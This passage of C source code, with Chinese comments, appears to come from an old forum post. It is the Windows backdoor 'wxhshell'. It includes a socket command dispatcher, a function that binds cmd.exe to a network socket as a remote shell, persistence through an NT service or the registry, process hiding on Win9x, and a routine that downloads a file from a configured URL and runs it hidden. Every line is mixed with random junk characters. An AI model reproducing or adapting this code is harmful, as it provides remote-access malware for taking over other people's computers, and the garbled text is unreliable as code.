    switch(cmd[0]) { >lPWji'4;  
  (8"advc6  
  // 帮助 s#Ayl]8r  
  case '?': { p"@[2hK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /EP RgRX  
    break; *Aqd["q  
  } L(RI4d  
  // 安装 KBC?SxJSJc  
  case 'i': { trx y3k;  
    if(Install()) ?Vre" 6U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (>.l kR  
    else z] +&kNm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,xCR]+5S  
    break; ^cDHC^Wm  
    } j_3`J8WwF  
  // 卸载 hs^K9Jt  
  case 'r': { XoNBq9Iu  
    if(Uninstall()) 0RZ[]:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oa.84a  
    else VW`SqUl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WuuF &0?8C  
    break; B6kc9XG  
    } g1kYL$o4  
  // 显示 wxhshell 所在路径 %T6 sm  
  case 'p': { ,A%p9  
    char svExeFile[MAX_PATH]; OLS/3c z  
    strcpy(svExeFile,"\n\r"); X aE;i57$l  
      strcat(svExeFile,ExeFile); ;kD UQw  
        send(wsh,svExeFile,strlen(svExeFile),0); \>$3'i=mQ  
    break; rP{Jep!  
    } P,J+'.@  
  // 重启 =h\unQ1T  
  case 'b': { 'MgYSP<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c/DK31K  
    if(Boot(REBOOT)) O!G!Gq&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zm!M'|~@7  
    else { 4`e[gvh  
    closesocket(wsh); C4aAPkcp2$  
    ExitThread(0); lrjVD(R=g  
    } 5>6:#.f%!e  
    break; : X}n[K  
    } 9Iu"DOxX%  
  // 关机 .H@b zm  
  case 'd': { Cs4ks`Z18  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uG$*DeZti  
    if(Boot(SHUTDOWN))  ;kzjx%h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hmkm^2  
    else { bj6;>Ezp3(  
    closesocket(wsh); d&* c3F  
    ExitThread(0); =PF2p'.o  
    } D7r&z?  
    break; s0O]vDTR,H  
    } W{%X1::q$  
  // 获取shell Vk> &  
  case 's': { pZcY[a  
    CmdShell(wsh); BCfmnE4%  
    closesocket(wsh); 1xEFMHjy  
    ExitThread(0); \E=MV~:R  
    break; k|,Y_h0Y  
  } 9=q&SG  
  // 退出 [l/!&6  
  case 'x': { jF@BWPtF=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sW-0G$,|  
    CloseIt(wsh); <Umr2Vw-  
    break; K491QXG  
    } Aydpr_lp  
  // 离开 ;f~fGsH}e'  
  case 'q': { 7YxVtN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8_VGB0~3i  
    closesocket(wsh); '&+]85_&$  
    WSACleanup(); _7z]zy@PC5  
    exit(1); {O:{F?  
    break; PJ)l{c  
        } ur.krsU  
  } 78\j  
  } +[R^ ?~VK  
;X^#$*=Q  
  // 提示信息 OxPl0-]t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &) 64:l&  
} &:&~[4>%a  
  } @j!(at4B  
4fIjVx  
  return; >8ryA$  
}  )m#Y^  
,k_"T.w  
// shell模块句柄 q_6fr$-Qh  
int CmdShell(SOCKET sock) H $ %F0'0  
{ Z($i+L%.  
STARTUPINFO si; I 12Zh7Cc:  
ZeroMemory(&si,sizeof(si)); ufe |I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?YMBZ   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Se2f0",  
PROCESS_INFORMATION ProcessInfo; @t a:9wZ  
char cmdline[]="cmd"; :%z#s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lk!m1J5  
  return 0; \FUMfo^  
} 6J\ 2 =c`  
}L(ZLt8Q  
// 自身启动模式 \WBO(,]V  
int StartFromService(void) Y=4 7se=h"  
{ Do77V5  
typedef struct 8k3y"239t  
{ Wsgp#W+  
  DWORD ExitStatus; qw$9i.Z  
  DWORD PebBaseAddress; ]ag{sU@#  
  DWORD AffinityMask; Q5}XD  
  DWORD BasePriority; s1E 0atT  
  ULONG UniqueProcessId; EjFn\|VK  
  ULONG InheritedFromUniqueProcessId; ",&QO 7_  
}   PROCESS_BASIC_INFORMATION; F b?^+V]9  
(3K3)0fy  
PROCNTQSIP NtQueryInformationProcess; ">G*hS  
t=X=",)f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HE35QH@/`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W+GC3W   
Vz$xV!  
  HANDLE             hProcess; ,p3]`MG  
  PROCESS_BASIC_INFORMATION pbi; I-/>M/66  
4Z>gK(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gh/nNwyu<  
  if(NULL == hInst ) return 0; qFK.ULgP`  
 4pl\qf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5'NNwc\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1)^\R(l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  =   
IA<>+NS  
  if (!NtQueryInformationProcess) return 0; vQ* RrHG?c  
xVw@pR;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]\KVA)\  
  if(!hProcess) return 0; ^8EW/$k  
xxyc^\$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `u}_O(A1pA  
;py9,Wno  
  CloseHandle(hProcess); $m)gfI]9  
&ocuZ -5`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `kuu}YUi  
if(hProcess==NULL) return 0; t VO}{[U}  
z &X l  
HMODULE hMod; $1 "gFg  
char procName[255]; L /:^;j`c  
unsigned long cbNeeded; \#(1IC`as  
_qR?5;v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YTFU# F  
26g]_Igq  
  CloseHandle(hProcess); w$/lq~zU  
h$kz3r;b,"  
if(strstr(procName,"services")) return 1; // 以服务启动 r&m49N,d  
o S=!6h  
  return 0; // 注册表启动 pJvPEKN  
} , + G  
Nd]F 33|X  
// 主模块 CDM6o!ur3  
int StartWxhshell(LPSTR lpCmdLine) _\KFMe= PV  
{ Dc@O Mr  
  SOCKET wsl; 5"@>>"3U  
BOOL val=TRUE; d_d&su E  
  int port=0; =TDKU  
  struct sockaddr_in door; }< H>9iJ:  
jQ;/=9  
  if(wscfg.ws_autoins) Install(); bwzx_F/  
&muBSQ-  
port=atoi(lpCmdLine); >U,&V%y  
ttUK~%wSx  
if(port<=0) port=wscfg.ws_port; t*9 gusmG  
3!b $R?kZ  
  WSADATA data; $/s"It  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lwq:0Rj@Q  
 s[{[pIH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nf^?X`g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mP&\?  
  door.sin_family = AF_INET; CdF;0A9.3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =4MTb_  
  door.sin_port = htons(port); ]CF-#q}'  
!h4T3sO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : c~SH/qS  
closesocket(wsl); udqrHR5  
return 1; TG}owG]]  
} y62f{ks_/  
sJ|pR=g)!  
  if(listen(wsl,2) == INVALID_SOCKET) { n!4\w>h  
closesocket(wsl); {6H[[7i  
return 1; }lIc{R@H  
} -DdHl8  
  Wxhshell(wsl); *sOb I(&  
  WSACleanup(); 3~T ~Bs  
E`oA(x7l  
return 0; Cw+boB_tip  
9s^$tgH  
} QMBT8x/+_'  
?Z 2,?G  
// 以NT服务方式启动 iSCkV2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `-uE(qp  
{ ^wolY0p  
DWORD   status = 0; gS~H1Ro  
  DWORD   specificError = 0xfffffff; !G-+O#W`  
@}H u)HO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;stuTj@vH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k`m7j[A]l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %3a-@!|1<  
  serviceStatus.dwWin32ExitCode     = 0; 8TFQ%jv  
  serviceStatus.dwServiceSpecificExitCode = 0; gS'{JZu2  
  serviceStatus.dwCheckPoint       = 0; 9,'m,2%W  
  serviceStatus.dwWaitHint       = 0; Qb^G1#r@C  
$Aw@xC^!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |T6K?:U7  
  if (hServiceStatusHandle==0) return; 3:x(2 A  
A0Mjk  
status = GetLastError(); Q-w# !<L.  
  if (status!=NO_ERROR) X} k;(rb  
{ s$Y>nH~T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W<)P@_+-  
    serviceStatus.dwCheckPoint       = 0; :ZXd%  
    serviceStatus.dwWaitHint       = 0; zvV&Hks-  
    serviceStatus.dwWin32ExitCode     = status; F-/z@tM  
    serviceStatus.dwServiceSpecificExitCode = specificError; m=01V5_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lAU99(GXV  
    return; .nD#:86M  
  } #-;c!<2  
BTkx}KK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \P.h;|u  
  serviceStatus.dwCheckPoint       = 0; G]=z ![$  
  serviceStatus.dwWaitHint       = 0; _Q5mPBO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `DY yK?R  
} ,s~l; Gkj  
Q~(Gll;  
// 处理NT服务事件,比如:启动、停止 bgor W"'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wD9K\%jIr!  
{ N_c44[z 1  
switch(fdwControl) 7'IIB1v.\  
{ Q~ U\f$N  
case SERVICE_CONTROL_STOP: ,R[$S"]!SH  
  serviceStatus.dwWin32ExitCode = 0; UGPDwgq\v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vu5?;|^:  
  serviceStatus.dwCheckPoint   = 0; :oIBJ u%/  
  serviceStatus.dwWaitHint     = 0; E@SFK=`  
  { =K`.$R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \1<'XVS  
  } L0wT:x*  
  return; W"Ip]LJ  
case SERVICE_CONTROL_PAUSE: >38>R0k35  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |R9Lben',  
  break; StI N+S@Z  
case SERVICE_CONTROL_CONTINUE: sC-o'13  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ #:;6^Su  
  break; IA`voO$  
case SERVICE_CONTROL_INTERROGATE: Cb;6yE)!Z  
  break; ;R*-cm  
}; jaoZ}}V_$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Fr](&Tx  
} /w?e(v<  
KOy{?  
// 标准应用程序主函数 lMY\8eobcB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '3>;8(s l  
{ XKjrS 9:  
Ljy797{f  
// 获取操作系统版本 K{P-+(  
OsIsNt=GetOsVer(); ,clbD4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #kC~qux^  
4eHSAN"$  
  // 从命令行安装 ,sL'T[tuiU  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z Ts*Y,  
y74Q(  
  // 下载执行文件 $wUYK%.  
if(wscfg.ws_downexe) { =*\.zr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xOTvrX  
  WinExec(wscfg.ws_filenam,SW_HIDE); r{ R-X3s  
} P~\rP6 ;  
MRLiiIrq,5  
if(!OsIsNt) { B"GC|}N )v  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;"MChk  
HideProc(); R:~aX,qR  
StartWxhshell(lpCmdLine); 8 1Kf X {|  
} dtR"5TL<~}  
else ['mpxtG  
  if(StartFromService()) k)b{ UFRW  
  // 以服务方式启动 7h 54j  
  StartServiceCtrlDispatcher(DispatchTable); W[&nQW$E  
else <&E}db  
  // 普通方式启动 =2p?_.|'  
  StartWxhshell(lpCmdLine); (kxS0 ]=  
o,rF15  
return 0; KR?;7*qF  
}
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只看该作者 1 发表于: 2006-10-10
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